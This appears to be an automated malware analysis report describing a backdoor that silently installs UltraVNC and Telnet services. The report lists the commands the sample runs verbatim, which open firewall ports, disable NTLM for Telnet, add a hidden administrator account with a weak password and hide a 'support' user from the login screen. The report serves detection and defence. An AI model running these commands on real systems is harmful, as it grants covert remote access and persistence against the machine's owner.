Technical Information
To ensure autorun and distribution:
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\uvnc_service] 'Start' = '00000002'
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\UltraVnc\vncviewer.exe' = '%PROGRAM_FILES%\UltraVnc\vncviewer.exe:*:Enabled:vncviewer.exe'
Creates and executes the following:
- '%PROGRAM_FILES%\UltraVnc\winvnc.exe' -install
- '%PROGRAM_FILES%\UltraVnc\winvnc.exe' -service
- '%PROGRAM_FILES%\UltraVnc\winvnc.exe' -service_run
- '%TEMP%\is-HGJVI.tmp\check_install.exe'
- '%TEMP%\RarSFX0\hidcon.exe' inst.cmd
- '%TEMP%\RarSFX0\UltraVNC_1.0.5.3_Setup.exe' /dir="%PROGRAM_FILES%\UltraVnc\" /norestart /verysilent
- '%TEMP%\is-2NU3M.tmp\UltraVNC_1.0.5.3_Setup.tmp' /SL5="$10106,2281037,346112,%TEMP%\RarSFX0\UltraVNC_1.0.5.3_Setup.exe" /dir="%PROGRAM_FILES%\UltraVnc\" /norestart /verysilent
Executes the following:
- '<SYSTEM32>\net1.exe' start Telnet
- '<SYSTEM32>\tlntsvr.exe'
- '<SYSTEM32>\tlntadmn.exe' config port=972 sec=-NTLM
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "support" /t reg_dword /d 0
- '<SYSTEM32>\sc.exe' config tlntsvr start= auto
- '<SYSTEM32>\netsh.exe' firewall add portopening TCP 5800 vnc5800 ENABLE ALL
- '<SYSTEM32>\net1.exe' start uvnc_service
- '<SYSTEM32>\netsh.exe' firewall add portopening TCP 5900 vnc5900 ENABLE ALL
- '<SYSTEM32>\regsvr32.exe' /s <SYSTEM32>\tlntsvrp.dll
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 23 telnet ENABLE ALL
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "support" /t reg_dword /d 0 y
- '<SYSTEM32>\netsh.exe' firewall add portopening TCP 5900 vnc5900
- '<SYSTEM32>\netsh.exe' firewall add portopening TCP 5800 vnc5800
- '<SYSTEM32>\net1.exe' stop uvnc_service
- '<SYSTEM32>\cmd.exe' /c inst.cmd
- '<SYSTEM32>\net.exe' stop uvnc_service
- '<SYSTEM32>\net1.exe' user 123 1231123 /add
- '<SYSTEM32>\net1.exe' localgroup Администраторы 123 /add
- '<SYSTEM32>\chcp.com' 1251
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram "%PROGRAM_FILES%\UltraVnc\vncviewer.exe" "vncviewer.exe" ENABLE ALL
- '<SYSTEM32>\net1.exe' start "uvnc_service"
Modifies file system :
Creates the following files:
- %PROGRAM_FILES%\UltraVnc\Plugins\is-GC9FJ.tmp
- %PROGRAM_FILES%\UltraVnc\Plugins\is-CJ3QU.tmp
- %PROGRAM_FILES%\UltraVnc\is-PN7D2.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\UltraVNC\UltraVNC Viewer.lnk
- %PROGRAM_FILES%\UltraVnc\Plugins\is-06U25.tmp
- %PROGRAM_FILES%\UltraVnc\Plugins\is-P6335.tmp
- %PROGRAM_FILES%\UltraVnc\is-ER7EN.tmp
- %PROGRAM_FILES%\UltraVnc\is-LCK16.tmp
- %PROGRAM_FILES%\UltraVnc\is-ABNJJ.tmp
- %PROGRAM_FILES%\UltraVnc\is-2QCKU.tmp
- %PROGRAM_FILES%\UltraVnc\is-PVFVA.tmp
- %PROGRAM_FILES%\UltraVnc\is-AQUIM.tmp
- %PROGRAM_FILES%\UltraVnc\is-506AD.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\UltraVNC\UltraVNC Server.lnk
- %PROGRAM_FILES%\UltraVnc\MSRC4Plugin-122.dsm
- %PROGRAM_FILES%\UltraVnc\ultravnc.ini
- %PROGRAM_FILES%\UltraVnc\unins000.dat
- %PROGRAM_FILES%\UltraVnc\vnclang_server.dll
- %PROGRAM_FILES%\UltraVnc\vnclang.dll
- %ALLUSERSPROFILE%\Start Menu\Programs\UltraVNC\UltraVNC Server\Install Default Registry Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\UltraVNC\UltraVNC Server\Install WinVNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\UltraVNC\UltraVNC Viewer\Show UltraVNC Viewer Help.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\UltraVNC\UltraVNC Viewer\Run UltraVNC Viewer (Listen Mode).lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\UltraVNC\UltraVNC Server\Stop WinVNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\UltraVNC\UltraVNC Server\Start WinVNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\UltraVNC\UltraVNC Server\Remove WinVNC Service.lnk
- %TEMP%\is-HGJVI.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-2NU3M.tmp\UltraVNC_1.0.5.3_Setup.tmp
- %TEMP%\RarSFX0\setupdrv.exe
- %PROGRAM_FILES%\UltraVnc\is-GPKGV.tmp
- %TEMP%\is-HGJVI.tmp\isxdl.dll
- %TEMP%\is-HGJVI.tmp\_isetup\_shfoldr.dll
- %TEMP%\RarSFX0\vnclang_server.dll
- %TEMP%\RarSFX0\MSRC4Plugin-122.dsm
- %TEMP%\RarSFX0\inst.cmd
- %TEMP%\RarSFX0\hidcon.exe
- %TEMP%\RarSFX0\vnclang.dll
- %TEMP%\RarSFX0\UltraVNC_1.0.5.3_Setup.exe
- %TEMP%\RarSFX0\ultravnc.ini
- %TEMP%\is-HGJVI.tmp\check_install.exe
- %PROGRAM_FILES%\UltraVnc\is-LGR3V.tmp
- %PROGRAM_FILES%\UltraVnc\is-LLPLF.tmp
- %PROGRAM_FILES%\UltraVnc\is-489VQ.tmp
- %PROGRAM_FILES%\UltraVnc\is-TOKJE.tmp
- %PROGRAM_FILES%\UltraVnc\is-EHVIQ.tmp
- %PROGRAM_FILES%\UltraVnc\is-PO9NN.tmp
- %PROGRAM_FILES%\UltraVnc\is-1FUAU.tmp
- %PROGRAM_FILES%\UltraVnc\is-VOM0E.tmp
- %PROGRAM_FILES%\UltraVnc\is-PHE5A.tmp
- %PROGRAM_FILES%\UltraVnc\is-AS5TA.tmp
- %PROGRAM_FILES%\UltraVnc\is-5AD60.tmp
- %PROGRAM_FILES%\UltraVnc\is-LUKHL.tmp
- %PROGRAM_FILES%\UltraVnc\is-L8U8E.tmp
Deletes the following files:
- %TEMP%\RarSFX0\ultravnc.ini
- %TEMP%\RarSFX0\setupdrv.exe
- %TEMP%\RarSFX0\MSRC4Plugin-122.dsm
- %TEMP%\RarSFX0\vnclang_server.dll
- %TEMP%\RarSFX0\vnclang.dll
- %TEMP%\RarSFX0\UltraVNC_1.0.5.3_Setup.exe
- %TEMP%\RarSFX0\inst.cmd
- %TEMP%\is-HGJVI.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-HGJVI.tmp\isxdl.dll
- %TEMP%\is-HGJVI.tmp\check_install.exe
- %TEMP%\RarSFX0\hidcon.exe
- %TEMP%\is-2NU3M.tmp\UltraVNC_1.0.5.3_Setup.tmp
- %TEMP%\is-HGJVI.tmp\_isetup\_shfoldr.dll
Moves the following files:
- from %PROGRAM_FILES%\UltraVnc\is-LCK16.tmp to %PROGRAM_FILES%\UltraVnc\vncviewer.exe
- from %PROGRAM_FILES%\UltraVnc\is-506AD.tmp to %PROGRAM_FILES%\UltraVnc\SCHook.dll
- from %PROGRAM_FILES%\UltraVnc\is-AQUIM.tmp to %PROGRAM_FILES%\UltraVnc\cad.exe
- from %PROGRAM_FILES%\UltraVnc\is-TOKJE.tmp to %PROGRAM_FILES%\UltraVnc\ldapauth.dll
- from %PROGRAM_FILES%\UltraVnc\is-2QCKU.tmp to %PROGRAM_FILES%\UltraVnc\authSSP.dll
- from %PROGRAM_FILES%\UltraVnc\is-ABNJJ.tmp to %PROGRAM_FILES%\UltraVnc\MSLogonACL.exe
- from %PROGRAM_FILES%\UltraVnc\is-PVFVA.tmp to %PROGRAM_FILES%\UltraVnc\drivers.zip
- from %PROGRAM_FILES%\UltraVnc\Plugins\is-GC9FJ.tmp to %PROGRAM_FILES%\UltraVnc\Plugins\Licence.txt
- from %PROGRAM_FILES%\UltraVnc\Plugins\is-P6335.tmp to %PROGRAM_FILES%\UltraVnc\Plugins\MSRC4Plugin-122.dsm
- from %PROGRAM_FILES%\UltraVnc\Plugins\is-06U25.tmp to %PROGRAM_FILES%\UltraVnc\Plugins\Readme.txt
- from %PROGRAM_FILES%\UltraVnc\is-ER7EN.tmp to %PROGRAM_FILES%\UltraVnc\ultravnc.ini
- from %PROGRAM_FILES%\UltraVnc\is-PN7D2.tmp to %PROGRAM_FILES%\UltraVnc\MSRC4Plugin-122.dsm
- from %PROGRAM_FILES%\UltraVnc\Plugins\is-CJ3QU.tmp to %PROGRAM_FILES%\UltraVnc\Plugins\Whatsnew.txt
- from %PROGRAM_FILES%\UltraVnc\is-VOM0E.tmp to %PROGRAM_FILES%\UltraVnc\Licence.txt
- from %PROGRAM_FILES%\UltraVnc\is-L8U8E.tmp to %PROGRAM_FILES%\UltraVnc\Readme.txt
- from %PROGRAM_FILES%\UltraVnc\is-LUKHL.tmp to %PROGRAM_FILES%\UltraVnc\winvnc.exe
- from %PROGRAM_FILES%\UltraVnc\is-GPKGV.tmp to %PROGRAM_FILES%\UltraVnc\unins000.exe
- from %PROGRAM_FILES%\UltraVnc\is-AS5TA.tmp to %PROGRAM_FILES%\UltraVnc\check_install.exe
- from %PROGRAM_FILES%\UltraVnc\is-PHE5A.tmp to %PROGRAM_FILES%\UltraVnc\Whatsnew.txt
- from %PROGRAM_FILES%\UltraVnc\is-5AD60.tmp to %PROGRAM_FILES%\UltraVnc\logmessages.dll
- from %PROGRAM_FILES%\UltraVnc\is-LGR3V.tmp to %PROGRAM_FILES%\UltraVnc\logging.dll
- from %PROGRAM_FILES%\UltraVnc\is-PO9NN.tmp to %PROGRAM_FILES%\UltraVnc\authadmin.dll
- from %PROGRAM_FILES%\UltraVnc\is-EHVIQ.tmp to %PROGRAM_FILES%\UltraVnc\workgrpdomnt4.dll
- from %PROGRAM_FILES%\UltraVnc\is-1FUAU.tmp to %PROGRAM_FILES%\UltraVnc\vnchooks.dll
- from %PROGRAM_FILES%\UltraVnc\is-489VQ.tmp to %PROGRAM_FILES%\UltraVnc\unzip32.dll
- from %PROGRAM_FILES%\UltraVnc\is-LLPLF.tmp to %PROGRAM_FILES%\UltraVnc\zip32.dll
Network activity:
Connects to:
- 'localhost':5900
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
